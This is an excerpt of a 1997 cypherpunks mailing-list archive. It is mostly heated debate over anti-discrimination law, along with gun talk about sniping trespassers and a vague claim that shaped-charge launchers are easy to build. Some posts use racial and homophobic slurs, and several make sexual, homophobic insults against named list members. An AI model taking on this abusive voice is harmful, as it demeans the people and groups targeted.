Version: 2.6.3a-sha1
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNKAAUI9Co1n+aLhhAQL6NwP/bI4SHiv4HX8yEFKvvG3SPZax3Q7HnbT5
EYspxRngonicaDVWyY4ANzHkPmUCDPdgTmJURCUYr14D0EJcUpwnq5rsike2XamE
3GPxIz0v57pmzx8Koy+PoosS5l89MhYk9g90GK9b2Go9pS9uGfJKDYOyhReashs/
e/LK++LX7Tw=
=YjBi
-----END PGP SIGNATURE-----






From craffert at ml.com  Tue Dec 23 10:43:56 1997
From: craffert at ml.com (Colin Rafferty)
Date: Wed, 24 Dec 1997 02:43:56 +0800
Subject: Freedom Forum report on the State of the First Amendment
In-Reply-To: <199712231823.NAA17857@users.invweb.net>
Message-ID: 



William H Geiger writes:
> In , on 12/23/97 at 12:55 PM, Colin Rafferty  said:
>> William H Geiger writes:
>>> In , on 12/23/97 at 10:30 AM, Colin Rafferty  said:
>>>> Paul Bradley writes:

>>>>>> >Suppose RealBig Corporation fired Umbehr for his views. Would a First
>>>>>> >Amendment issue have arisen? Of course not. In a free society, RealBig
>>>>>> >is free to hire whom it wishes, and to refuse to hire niggers, homos,
>>>>>> >perverts, Jews, whatever. And to fire anyone who wrote opinions the
>>>>>> >managers at RealBig disliked.
>>>>>> 
>>>>>> Substitute "fascist society" for "free society" in the paragraph
>>>>>> above and the discussion begins to make some sense. Hell, it's even
>>>>>> historically accurate.

>>>>> Wrong, do you dispute the fact that RealBig corp. is free to refuse to 
>>>>> hire people for any reason whatsoever? Do you think I should not be 
>>>>> allowed to refuse to hire people because of their race or sexual
>>>>> orientation?

>>>>> Should the government be able to take action against me because I fire 
>>>>> someone for being jewish/black/homosexual???

>>>> Welcome to the 20th Century, moron.

>>> Really amazing how many so-called "freedom fighters" become STATIST if the
>>> proper buttons are pushed.

>> What are you talking about?

>> Freedom of expression is not the same as freedom of oppression.

>> If you want to live in a hut in Montana and shelter yourself from the
>> real world, feel free.  Otherwise, it may be a good idea to check out
>> social theories from the last hundred years.

> Please explain to me where in the Constitution the government is given the
> power to determin who I *must* associate with?? 

Given that the Civil Rights Act of 1964 was upheld as Constitutional, I
would generally use that as an argument.

> If I decide that I do not
> wish to do business with anyone who's last name begins with the letter "R"
> what gives you the right to say that I must?!?

No one.  In fact, sometimes I wish that you would :-).

On the other hand, if a law were passed that made it illegal, and the
Supreme Court found it constitutional, then it would be.

-- 
Colin






From tcmay at got.net  Tue Dec 23 10:48:40 1997
From: tcmay at got.net (Tim May)
Date: Wed, 24 Dec 1997 02:48:40 +0800
Subject: Best Cypherpunk long gun
In-Reply-To: 
Message-ID: 



At 7:32 AM -0700 12/23/97, Igor Chudov @ home wrote:
>Tim May wrote:
>> For defending the _perimeter_ of my property against Those Who Would
>> Trespass, I count on a Remington Model 700 "varmint" rifle, chambered in
>> .308 (or 7.62 NATO). It's a bolt-action, but the expected use is for
>> long-range (300 meters) use, aka "sniping." The usual high-power scope.
>> This rifle is capable of sub-MOA (minute of angle) groups, meaning less
>> than 1-inch groups at a hundred yards.
>
>Is there any version of Remington 700 (maybe PSS) that accepts
>detachable magazines?

Yes, the PSS comes with a 5-shot detachable magazine (or at least one is
available for it). And I understand that some gunsmiths can easily adapt
the PSS to talke M1A magazines (the M1A being the civilian-legal version of
the M-14, a semiauto in .308. of course).

The view of most snipers is "Why bother?" If the goal is "one shot, one
kill," make that first shot really, really count. Rapid-fire follow-ups
shots are inconsistent with the idea of sniping.

(If the rapid-fire comes as a freebie, it might be a no-brainer to choose
it over bolt-action. But it isn't a freebie, and semiautos cost a lot more
to equal the accuracy of a bolt-action. Plaster estimates a semi-auto also
takes about 5 times the effort to keep it at high accuracy. As I said
earlier, H & K's excellent PSG-1 is a fine semiauto sniping rifle, but it
costs $10K, retail. This compares to a Remington PSS for about $800,
retail, or a Remington Varmint Synthetic for $700, retail. (Or any number
of fine bolt actions from Winchester, Ruger, Sako, Steyr, etc.)

Also, extreme long-range sniping is increasingly done with .50 BMGs, or
.338 Lapua, or, at the lower end, .300 Winchester Magnums. In all cases,
shot recovery is limited more by the shooter reacquiring the sight picture
than by cycling the action, so a semi-auto is mostly a waste of resources.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From honig at otc.net  Tue Dec 23 11:26:05 1997
From: honig at otc.net (David Honig)
Date: Wed, 24 Dec 1997 03:26:05 +0800
Subject: Freedom Forum report on the State of the First Amendment
In-Reply-To: <"William H. Geiger III"'s message of "Tue, 23 Dec 97 11:31:35 -0600">
Message-ID: <3.0.5.32.19971223111038.007db820@otc.net>



At 12:55 PM 12/23/97 -0500, Colin Rafferty wrote:
>William H Geiger writes:
>> In , on 12/23/97 at 10:30 AM, Colin Rafferty
 said:
>>> Paul Bradley writes:
>
>>>> Should the government be able to take action against me because I fire 
>>>> someone for being jewish/black/homosexual???
>
>>> Welcome to the 20th Century, moron.
>
>> Really amazing how many so-called "freedom fighters" become STATIST if the
>> proper buttons are pushed.
>
>What are you talking about?
>
>Freedom of expression is not the same as freedom of oppression.


You aren't being oppressed the other party doesn't want to interact
with you, unless that party is government providing base services to all
(e.g. police/courts/border protection).

You *are* being oppressed if mutually consensual behavior is interfered
with by
others including the State.

You *are* being oppressed if you are coerced into a relationship you don't
want.

An employer-employee relationship is like a marriage or any other arrangement
between adults -mutually consensual.  Colin, do you consider
yourself oppressed when someone choses not to date you?  What about
a rejection by someone who takes out a public advertisement in the paper?

Freedom is only tested when it hurts.















------------------------------------------------------------
      David Honig                   Orbit Technology
     honig at otc.net                  Intaanetto Jigyoubu

"Windows 95 is a technologically complex product that is best left alone by
the government..."
 ---MSFT Atty B. Smith

















From nobody at REPLAY.COM  Tue Dec 23 11:39:52 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Wed, 24 Dec 1997 03:39:52 +0800
Subject: Freedom Forum report on the State of the First Amendment
In-Reply-To: 
Message-ID: <199712231925.UAA06474@basement.replay.com>




At 12:55 PM 12/23/97 -0500, Colin Rafferty wrote:
>William H Geiger writes:

[snip by me]

>> Really amazing how many so-called "freedom fighters" become STATIST if the
>> proper buttons are pushed.
>
>What are you talking about?
>
>Freedom of expression is not the same as freedom of oppression.

Oppression, in terms of private entities and citizens, is in the eye
of the beholder.  What you call oppression could just as easily be
interpreted as my right to free expression.  If I choose not to
associate with someone, for whatever reason, that's my right.  It's
just as much your right to not associate in any way with someone
who would treat you as such, and to deal only with people who will
not treat you that way.  That's how a free market and free society
works.

It's oppression if I not only refuse to hire you, but also interfere
with you going about getting a job somewhere else.  But until I
actively try to keep you from persuing your own rights independent of
mine, I should have the perfect right to make my own decisions on
whether or not I associate with you.

I think there's a clearer case of oppression with regards to the
government's laws dictating who *HAS* to be hired.  That's an obvious
lessening of my right to discriminate as to whom I do and do not want
to deal with.  Where else in this society is this behavior mandated?
Do I have to sit in public with a racially diverse group of people?
Do I have to make it a point to talk to at least one Asian person
every day?  What's the difference?

>If you want to live in a hut in Montana and shelter yourself from the
>real world, feel free.  Otherwise, it may be a good idea to check out
>social theories from the last hundred years.

That's ridiculous.  No one is sheltering themselves from the real world
here.  We're just questioning the dogma of these "real world experts."
Do you really think it's prudent to believe everything someone offers
up because they have an academic or "official" title behind their name?
Or a large portion of government to stand behind them?  I put more
faith in my own perception than anyone else's.

>
>-- 
>Colin
>
>






From craffert at ml.com  Tue Dec 23 11:40:00 1997
From: craffert at ml.com (Colin Rafferty)
Date: Wed, 24 Dec 1997 03:40:00 +0800
Subject: Freedom Forum report on the State of the First Amendment
In-Reply-To: <"William H. Geiger III"'s message of "Tue, 23 Dec 97 11:31:35 -0600">
Message-ID: 



Lizard  writes:
> At 12:55 PM 12/23/97 -0500, Colin Rafferty wrote:
>> Freedom of expression is not the same as freedom of oppression.

> How is someone 'oppressed' by my choosing not to deal with him for some
> reasons, but not for other reasons? Either way, he does not get my services.

> I refuse to hire you because you are black -- you are oppressed.
> I refuse to hire you because you're an Aquarius and my astrologer told me
> not to hire Aquarians -- you are not oppressed.
> I refuse to hire you because you're a Republican and I'm a Democrat, and I
> don't think we'll work well together -- you are not oppressed.

> But in all cases, you are not hired.

> Explain the logic of this to me.

The logic is about patterns of discrimination of society and the State
acting as a social engineer to remove the patterns.

It is about basic human decency, and giving a person a fighting chance.

If society, in general, discriminated against people with freckles, it
is likely that it would be made illegal.

> (Yes, it is perfectly legal to not hire someone based on star sign,
> political affiliation, or having freckles.)

> No human being has a right to compel service from another human being.

No majority group has a right to discriminate against a minority.

You prove that you know The Truth, and I'll prove that I know The Truth.

> If I
> do not wish to engage in trade with you, that's my right. Would you be less
> oppressed if I just closed up shop and refused to trade with ANYONE? 

Oppression is done by a society.  It can only be stopped by acting
against the individuals in the society that are doing the oppressing.

> The issue here is not expression, but association.

That's a good point.  However, the alternate doesn't have the same
rhythm:

Freedom of association is not the same as freedom of oppression.

-- 
Colin






From schear at lvdi.net  Tue Dec 23 11:47:41 1997
From: schear at lvdi.net (Steve Schear)
Date: Wed, 24 Dec 1997 03:47:41 +0800
Subject: Best Cypherpunk long gun
In-Reply-To: <199712230611.WAA27275@sirius.infonex.com>
Message-ID: 



At 1:39 PM +0100 12/23/1997, Lucky Green wrote:
>On Mon, 22 Dec 1997, Mix wrote:
>
>> What is the best long gun for a Cypherpunk?
>
>There are some howitzers that can deliver nuclear artillery shells at 50+
>miles. I think their barrels are pretty long.

Those looking for shorter range, large payload, weapons with small size and low weight should look into shaped-charge munition projectors.  Relatively easy to build and reliable, they can accelerate items to well over 10,000 fps (depending upon explosive used) and pretty accurately deliver multi-kilogram payloads over a 1/2 mile.  Good against buildings and hardened targets, like tanks, as at this velocity even more conventional projectiles can breech advanced armour.  Major shortcoming is they are use once items and not for close combat ;-)

--Steve







From craffert at ml.com  Tue Dec 23 11:53:19 1997
From: craffert at ml.com (Colin Rafferty)
Date: Wed, 24 Dec 1997 03:53:19 +0800
Subject: Freedom Forum report on the State of the First Amendment
In-Reply-To: <"William H. Geiger III"'s message of "Tue, 23 Dec 97 11:31:35 -0600">
Message-ID: 



David Honig writes:
> At 12:55 PM 12/23/97 -0500, Colin Rafferty wrote:
>> William H Geiger writes:
>>> In , on 12/23/97 at 10:30 AM, Colin Rafferty  said:
>>>> Paul Bradley writes:
>> 
>>>>> Should the government be able to take action against me because I fire 
>>>>> someone for being jewish/black/homosexual???
>> 
>>>> Welcome to the 20th Century, moron.
>> 
>>> Really amazing how many so-called "freedom fighters" become STATIST if the
>>> proper buttons are pushed.
>> 
>> What are you talking about?
>> 
>> Freedom of expression is not the same as freedom of oppression.

> You aren't being oppressed the other party doesn't want to interact
> with you, unless that party is government providing base services to all
> (e.g. police/courts/border protection).

Actually, you can be.

> You *are* being oppressed if mutually consensual behavior is interfered
> with by
> others including the State.

> You *are* being oppressed if you are coerced into a relationship you don't
> want.

You are not being coerced into anything.  If you don't want to serve
food to Blacks, don't open a restaurant.  It's your choice.

By the way, you are also not allowed to dump toxic waste in your own
backyard.  Are you being oppressed?

> An employer-employee relationship is like a marriage or any other arrangement
> between adults -mutually consensual.

In a fantasy world, it is mutually consensual.  It the real world, it is 
seldom mutual.

> Colin, do you consider
> yourself oppressed when someone choses not to date you?  What about
> a rejection by someone who takes out a public advertisement in the paper?

Nope.  Of course, this has nothing to do with anything.

> Freedom is only tested when it hurts.

With freedom comes responsibility.  Decency is one of them.

-- 
Colin






From lizard at mrlizard.com  Tue Dec 23 11:53:20 1997
From: lizard at mrlizard.com (Lizard)
Date: Wed, 24 Dec 1997 03:53:20 +0800
Subject: [Off topic]Discrimination
In-Reply-To: 
Message-ID: <3.0.1.32.19971223114341.00bd03f0@dnai.com>



At 02:25 PM 12/23/97 -0500, Colin Rafferty wrote:

>
>The logic is about patterns of discrimination of society and the State
>acting as a social engineer to remove the patterns.

In other words, rights belong to the collective, not to the individual. If
I deny Joe Smith a job for an 'approved' reason (which still has nothing to
do with his competence), then, too bad for Joe. But if I deny it for an
'unapproved' reason, equally unrelated to his competance, then I am denying
the job to ALL people who share that trait, everywhere. That's a
collectivist viewpoint.

Either a person -- a single, unique, individual -- has a right to compel
someone else to serve him, or he does not. The reasons for denying service
are irrelevant TO THAT INDIVIDUAL.

>It is about basic human decency, and giving a person a fighting chance.

All of which is fine, but why should it be compelled? Didn't you once say
that liberalism made the assumption that we were basically moral and should
be free to act, rather than the conservative view that we were basically
immoral and should be restrained?

>If society, in general, discriminated against people with freckles, it
>is likely that it would be made illegal.

So what good does this do the person dicriminated against, if there is NOT
a 'pattern' of it? He's still out of a job. This is the key point:It is the
INDIVIDUAL that matters. 

>> (Yes, it is perfectly legal to not hire someone based on star sign,
>> political affiliation, or having freckles.)
>
>> No human being has a right to compel service from another human being.
>
>No majority group has a right to discriminate against a minority.

There are no groups. There are only individuals. A job, or an offer of
goods or services, occurs between individuals -- not groups. If I am denied
employment, YOUR bank account does not shrink. If you are granted a high
paying job, I do not get rich. My hunger is not yours;yours is not mine. 

Further, every individual has a right to choose who they will and will not
associate with, based on whatever criteria they wish. I don't date mundanes
(non-fen). While the inability to have me as a boyfriend is no great loss,
I am nonetheless 'discriminating' against a large %age of the female
population (and 100% of the male population, FWIW). (Granted, a far larger
%age of the female population discriminates against me, as they refuse to
date overweight, unattractive, socially inept nerds. Whom do I sue?)

>
>Freedom of association is not the same as freedom of oppression.
>

Most people would claim not associating with me is liberating, not oppressing.

How is person 'a' oppressed because person 'b' decides, for whatever
reason, not to like them?






From sameer at c2.net  Tue Dec 23 11:54:23 1997
From: sameer at c2.net (sameer)
Date: Wed, 24 Dec 1997 03:54:23 +0800
Subject: Freedom Forum report on the State of the First Amendment
In-Reply-To: 
Message-ID: <199712231935.LAA19426@gabber.c2.net>



	I don't read fight censorship so I can see people flame each
other about freedom of association. Thank you.

-- 
Sameer Parekh					Voice:   510-986-8770
President					FAX:     510-986-8777
C2Net
http://www.c2.net/				sameer at c2.net






From craffert at ml.com  Tue Dec 23 12:01:28 1997
From: craffert at ml.com (Colin Rafferty)
Date: Wed, 24 Dec 1997 04:01:28 +0800
Subject: Freedom Forum report on the State of the First Amendment
In-Reply-To: <199712231935.LAA19426@gabber.c2.net>
Message-ID: 



sameer  writes:

> 	I don't read fight censorship so I can see people flame each
> other about freedom of association. Thank you.

I am sorry.  Somebody who should know better cross-posts incendiary
messages to both fight-censorship and cypherpunks.

I just can't stand reading obviously idiotic messages without
responding.  I will try to refrain.

By the way, I am not subscribed to cypherpunks, soif you have something
to say, CC me.

-- 
Colin






From travish+cp-01 at dejanews.com  Tue Dec 23 12:04:14 1997
From: travish+cp-01 at dejanews.com (travish+cp-01 at dejanews.com)
Date: Wed, 24 Dec 1997 04:04:14 +0800
Subject: [fs] Contemporary Cryptology Book
Message-ID: <199712231945.NAA19351@byers.dejanews.com>



I found this at a local half-price bookstore.  I purchased a copy
for myself and was wondering if any of you wanted one.  I do not
intend to make any money off of this, I am simply doing it as a
favor for fellow crypto-enthusiasts.  I believe it would make an
excellent companion to "Applied Cryptography".  The tone is what
you would expect from IEEE Press; more theoretical than A.C.,
not shying away from the discrete mathematics but without losing
sight of the subject, either.  There is some mention of the uses
of cryptography applications like tamperproofing nuclear monitoring
equipment, and other relatively cool stuff.

It is apparently a brand new, undamaged book, sold for half price,
or about $45.  I'll sell it for what I will pay, plus s/h (your
choice of carriers), plus COD charge if not prepaid.  It is on hold
for me until Saturday, so email me soon if you're interested.

Here is the original blurb:

http://www.ieee.org/ieeestore/compbk.html#pc2717 

> An all-in-one guide to the science of information integrity...
>
> Contemporary Cryptology: The Science of Information Integrity
>
> edited by Gustavus J. Simmons, Sandia National Labs Albuquerque, NM
>    
> This original source book covers all aspects of the subject with
> emphasis on the cryptographic elements. In addition to being an
> introductory guide to the latest developments, this volume provides
> the engineer and scientist with algorithms, protocols, and applications.
>
> Copyright 1992/Hardcover/656pp
> List Price: $89.95
> Member Price: $77.00
> IEEE Order No. PC2717-QAJ
> ISBN 0-87942-277-7
--
Travis Hassloch / travish at dejanews.com / http://www.dejanews.com
Deja News System Defenestration Group  / "When news breaks... we fix it"
PGP key C7FDD3D5 fgpt 7A 48 DD 46 E6 7F 11 E7  8F 7E 53 9A DF 33 9E FA






From dlv at bwalk.dm.com  Tue Dec 23 13:04:21 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 24 Dec 1997 05:04:21 +0800
Subject: Freedom Forum report on the State of the First Amendment
In-Reply-To: <199712231935.LAA19426@gabber.c2.net>
Message-ID: <4cm7He47w165w@bwalk.dm.com>



sameer  writes:

> 	I don't read fight censorship so I can see people flame each
> other about freedom of association. Thank you.

Hey Sameer,

Is it true what people have been saying about you and the camel on
the cypherpunks list?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From dlv at bwalk.dm.com  Tue Dec 23 13:10:28 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 24 Dec 1997 05:10:28 +0800
Subject: Freedom Forum report on the State of the First Amendment
In-Reply-To: 
Message-ID: 



Colin Rafferty  writes:

> > You *are* being oppressed if mutually consensual behavior is interfered
> > with by
> > others including the State.
>
> > You *are* being oppressed if you are coerced into a relationship you don't
> > want.
>
> You are not being coerced into anything.  If you don't want to serve
> food to Blacks, don't open a restaurant.  It's your choice.

Prostitution is legal in some jurisdictions (and will hopefully be legalized
in others), and is openly tolerated in most others.  My question is, does
Colin at ML feel that the prostitutes should be allowed to discriminate when
taking on clients?

Should a prostitute be allowed to refuse to serve black patrons?

Should she be allowed to refuse to serve bisexuals (who are more likely
to infect her with AIDS)?

Should she be allowed to discriminate against prospective clients who
smell bad?

"If you don't want to fuck everybody indiscriminately, don't become
a prostitute."

> > Colin, do you consider
> > yourself oppressed when someone choses not to date you?  What about
> > a rejection by someone who takes out a public advertisement in the paper?

Sure he does.

Colin at ML reminds me in this respect of the attempt by Russian bolsheviks to
"nationalize" women after the 1917 revolution.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From dlv at bwalk.dm.com  Tue Dec 23 13:12:50 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 24 Dec 1997 05:12:50 +0800
Subject: Freedom Forum report on the State of the First Amendment
In-Reply-To: <3.0.1.32.19971223101322.00bc3100@dnai.com>
Message-ID: 



Lizard  writes:
> How is someone 'oppressed' by my choosing not to deal with him for some
> reasons, but not for other reasons? Either way, he does not get my services.

The eye of the beholder.

> I refuse to hire you because you are black -- you are oppressed.
> I refuse to hire you because you're an Aquarius and my astrologer told me
> not to hire Aquarians -- you are not oppressed.
> I refuse to hire you because you're a Republican and I'm a Democrat, and I
> don't think we'll work well together -- you are not oppressed.

I refuse to hire Colin at ML because I during the technical interview I asked him
the same questions I ask all other candidates, and he demonstrated his utter
ignorance and stupidity. Hence I discriminate against the clueless.

I refuse to hire Colin at ML because his skin lacks the appropriate pigmentation
(I presume: I know first-hand that very few blacks work for ML), and the
gubmint mandated that I set aside most of my contracts for folks with the
appropriate skin color. Am I discriminating against Colin at ML?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From dlv at bwalk.dm.com  Tue Dec 23 13:24:45 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 24 Dec 1997 05:24:45 +0800
Subject: Gilmore Publishes Strong Crypto Code Online for Authentication
In-Reply-To: <199712232040.MAA20998@toad.com>
Message-ID: 



John Gilmore  writes:

> San Francisco, December 23, 1997 - Civil libertarian John Gilmore
> today published strong authentication source code on the Internet,
> making it available for worldwide access, despite U.S. National
> Security Agency attempts to restrict such software.  He is publishing
> Domain Name System Security software that contains a complete copy of
> RSAREF, well-known cryptography software that is a predecessor to the
> DNSsafe software released in October by RSA Data Security, Inc.

Talking about himself in the third person is a sure sign of a cocksucker.

"John wants to suck a big cock!" - John Gilmore

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From honig at otc.net  Tue Dec 23 14:00:30 1997
From: honig at otc.net (David Honig)
Date: Wed, 24 Dec 1997 06:00:30 +0800
Subject: Freedom Forum report on the State of the First Amendment
In-Reply-To: 
Message-ID: <3.0.5.32.19971223134123.007e07f0@otc.net>



At 02:37 PM 12/23/97 -0500, Colin Rafferty wrote:
>
>You are not being coerced into anything.  If you don't want to serve
>food to Blacks, don't open a restaurant.  It's your choice.

Where do you get the right to tell others how they can make a living?

>By the way, you are also not allowed to dump toxic waste in your own
>backyard.  Are you being oppressed?

I am not allowed to place toxic waste, or noise, where it can affect
others; I can 
ingest toxins privately and listen to whatever music I like so long as you
don't detect it in your backyard.

>> An employer-employee relationship is like a marriage or any other
arrangement
>> between adults -mutually consensual.
>
>In a fantasy world, it is mutually consensual.  It the real world, it is 
>seldom mutual.

You prefer a shotgun or otherwise arranged marriage?

>>> Colin, do you consider
>> yourself oppressed when someone choses not to date you?  What about
>> a rejection by someone who takes out a public advertisement in the paper?
>
>Nope.  Of course, this has nothing to do with anything.

Private behavior is private behavior, and trade is a private behavior.


>> Freedom is only tested when it hurts.
>
>With freedom comes responsibility.  Decency is one of them.
>
>-- 
>Colin

But obligate decency at gunpoint is not worth it.




------------------------------------------------------------
      David Honig                   Orbit Technology
     honig at otc.net                  Intaanetto Jigyoubu

"Windows 95 is a technologically complex product that is best left alone by
the government..."
 ---MSFT Atty B. Smith

















From craffert at ml.com  Tue Dec 23 14:43:16 1997
From: craffert at ml.com (Colin Rafferty)
Date: Wed, 24 Dec 1997 06:43:16 +0800
Subject: Freedom Forum report on the State of the First Amendment
In-Reply-To: 
Message-ID: 



David Honig writes:
> At 02:37 PM 12/23/97 -0500, Colin Rafferty wrote:

>> You are not being coerced into anything.  If you don't want to serve
>> food to Blacks, don't open a restaurant.  It's your choice.

> Where do you get the right to tell others how they can make a living?

I don't have that right.  However, the Supreme Court has said that the
Congress has that right.

>> By the way, you are also not allowed to dump toxic waste in your own
>> backyard.  Are you being oppressed?

> I am not allowed to place toxic waste, or noise, where it can affect
> others; I can 
> ingest toxins privately and listen to whatever music I like so long as you
> don't detect it in your backyard.

Well, racism is hiring decisions is something that is detected in other
people's backyards.  That's why its illegal.

>>> An employer-employee relationship is like a marriage or any other
>>> arrangement between adults -mutually consensual.
>> 
>> In a fantasy world, it is mutually consensual.  It the real world, it is 
>> seldom mutual.

> You prefer a shotgun or otherwise arranged marriage?

I prefer a level playing field.

>>> Colin, do you consider
>>> yourself oppressed when someone choses not to date you?  What about
>>> a rejection by someone who takes out a public advertisement in the paper?
>> 
>> Nope.  Of course, this has nothing to do with anything.

> Private behavior is private behavior, and trade is a private behavior.

Not in this country.  If you don't believe me, check out Article I,
Section 8 for one explicit example.

>>> Freedom is only tested when it hurts.
>> 
>> With freedom comes responsibility.  Decency is one of them.

> But obligate decency at gunpoint is not worth it.

It's called civilization.  You should try it some time.

-- 
Colin






From balden at mail.bc.rogers.wave.ca  Tue Dec 23 15:05:12 1997
From: balden at mail.bc.rogers.wave.ca (Bruce Balden)
Date: Wed, 24 Dec 1997 07:05:12 +0800
Subject: Lock and Load (fwd)
Message-ID: <01bd0ff5$7e544ce0$69737018@eudoxus.bc.rogers.wave.ca>





>It shows that a Communist rifle doesn't allow us the freedom to lock and
load.
>
Having travelled in China extensively, I can tell you that there is not a
great deal of "Communism", the way Marx, Lenin, Stalin, or even Mao might
have imagined it.

Historians of WWI will recall that US domestic politics included a faction
that maintained that the two oceans were a natural protection against
overseas aggressors and so involvement in the European war seemed pointless.
Such people were called "isolationists", even though they were simply
maintaining that the US simply **was** isolated.


Anyway, China has had the Himalayas and huge deserts and the Pacific to
protect it and was the same way.  When technology changed that, all sorts of
foreigners moved in.  By the time the twentieth century arrived, Chinese
were sick of foreign influence, and successive governments, Imperial (Qing
dynasty), Guomentang (National People's Party = KMT), CPC (Communist Party
of China),  tried to kick everybody out.  Mao's communism was, among other
things, better organized, and at least kicked the Japanese, and later the
Russians, out, making them great heros to the Chinese people for this alone.
But now, after the Great Leap Forward, and other adventures, Chinese people
including those within the Communist Party, have little more patience for
socialism.

State Owned Enterprises (SOEs), the core of communism, are being
systematically privatized, with a final result expected to resemble modern
Britain c. 1975 (before Thatcher), and they are engaging in extensive joint
ventures with foreign firms.

China can't drop the word "Communist" easily for political reasons, but
"socialism with capitalist characteristics" is not readily distinguishable
from Tony Blair's species of moderate European socialism.

Similarly, the U.S. cannot admit directly that most of the Cold War military
spending was essentially a form of disguised Keynsian economics, and that
Grumman and friends were essentially state-subsidized if not state-owned ent
erprises.  Eisenhower figured out but few others did.









From vznuri at netcom.com  Tue Dec 23 15:13:31 1997
From: vznuri at netcom.com (Vladimir Z. Nuri)
Date: Wed, 24 Dec 1997 07:13:31 +0800
Subject: Best Cypherpunk long gun
In-Reply-To: 
Message-ID: <199712232256.OAA08140@netcom10.netcom.com>



no wonder TCM is so frustrated all the time. forget chips,
forget software, he's really a stymied wannabe gun salesman.

I've almost never complained about off topic posts, but
this is really beyond the limit of all comprehension.






From whgiii at invweb.net  Tue Dec 23 15:16:38 1997
From: whgiii at invweb.net (William H. Geiger III)
Date: Wed, 24 Dec 1997 07:16:38 +0800
Subject: Freedom Forum report on the State of the First Amendment
In-Reply-To: 
Message-ID: <199712232304.SAA20293@users.invweb.net>



-----BEGIN PGP SIGNED MESSAGE-----

In , on 12/23/97 
   at 02:25 PM, Colin Rafferty  said:

>The logic is about patterns of discrimination of society and the State
>acting as a social engineer to remove the patterns.

This is the crux of the matter (and for Seamer the relevance to FC). It is
*NOT* the job of the STATE to play social engineer. There is no
Constitutional mandate for it and in numerous clauses and Amendments it is
strictly prohibited from doing so.

It is this concept that the STATE can disregard the Constitution whenever
it feels like it is the reason why we have ITAR/EAR, CDA,
Volentary/Mandatory Ratting systems, ECC, FCC ...etc.

When you support the blatant violation of the Constitution by the
government because their actions fit your political/social agenda you
loose all credibility when you go to oppose them on a separate violation.
This is why the so-called civil rights groups have very low credibility
with many.

Either we have a government which must obey the laws of the land (with the
Constitution being the supreme law) or we have the current system where
the law is disregarded whenever it is politically expedient.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a-sha1
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNKBC9I9Co1n+aLhhAQJyeAP/SCHQyP8gkuV5ogM5xydukD8pyvwvRXWE
3hYej5sxR1aaiq8iuqEFtFTfJrnyHDU5nxWwcBMUDXqh6BYQs2RSrSEUS3SMxHcA
IMbohL0TYkTEV5EltMFoaJ67243SVg3cX5Wp/XHIy92L6vUEPRataH1fxw4R0gyA
BTdUa6IlCzQ=
=8d92
-----END PGP SIGNATURE-----






From dformosa at st.nepean.uws.edu.au  Tue Dec 23 15:26:29 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Wed, 24 Dec 1997 07:26:29 +0800
Subject: Freedom Forum report on the State of the First Amendment
In-Reply-To: <3.0.5.32.19971223134123.007e07f0@otc.net>
Message-ID: 



-----BEGIN PGP SIGNED MESSAGE-----

On Tue, 23 Dec 1997, David Honig wrote:

> At 02:37 PM 12/23/97 -0500, Colin Rafferty wrote:
> >
> >You are not being coerced into anything.  If you don't want to serve
> >food to Blacks, don't open a restaurant.  It's your choice.
> 
> Where do you get the right to tell others how they can make a living?

If you open a reseteront there are a whole lot of rules you must follow.
You have to come up to food hygean standards,  accebility for the
disabled, and other such things.

[...]

> Private behavior is private behavior, and trade is a private behavior.

Trade is public behavior,  you deal with the public.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBNKAx/KQK0ynCmdStAQHxcAQAqcq06z+xkNmcjhP70oxTQR/MNM85jB4H
v+qimfrf8yirTBnj3SzDEcURRK6CYD0+hHK3kt8/xliwKO1Wx7hxLHS4hjooWn5P
NwjoC4VuSsbxqB5/8Pnm5vACuHTfsofsU9Bn9dZdsCpMGV0t1b5oUTg4H6aEjKz2
BeZEFW+9hmQ=
=8b/M
-----END PGP SIGNATURE-----






From whgiii at invweb.net  Tue Dec 23 16:11:33 1997
From: whgiii at invweb.net (William H. Geiger III)
Date: Wed, 24 Dec 1997 08:11:33 +0800
Subject: Freedom Forum report on the State of the First Amendment
In-Reply-To: 
Message-ID: <199712232355.SAA20719@users.invweb.net>



-----BEGIN PGP SIGNED MESSAGE-----

In , on 12/23/97 
   at 05:25 PM, Colin Rafferty  said:

>> Private behavior is private behavior, and trade is a private behavior.

>Not in this country.  If you don't believe me, check out Article I,
>Section 8 for one explicit example.

"To regulate Commerce with foreign Nations, and among the several States,
and with the Indian Tribes"

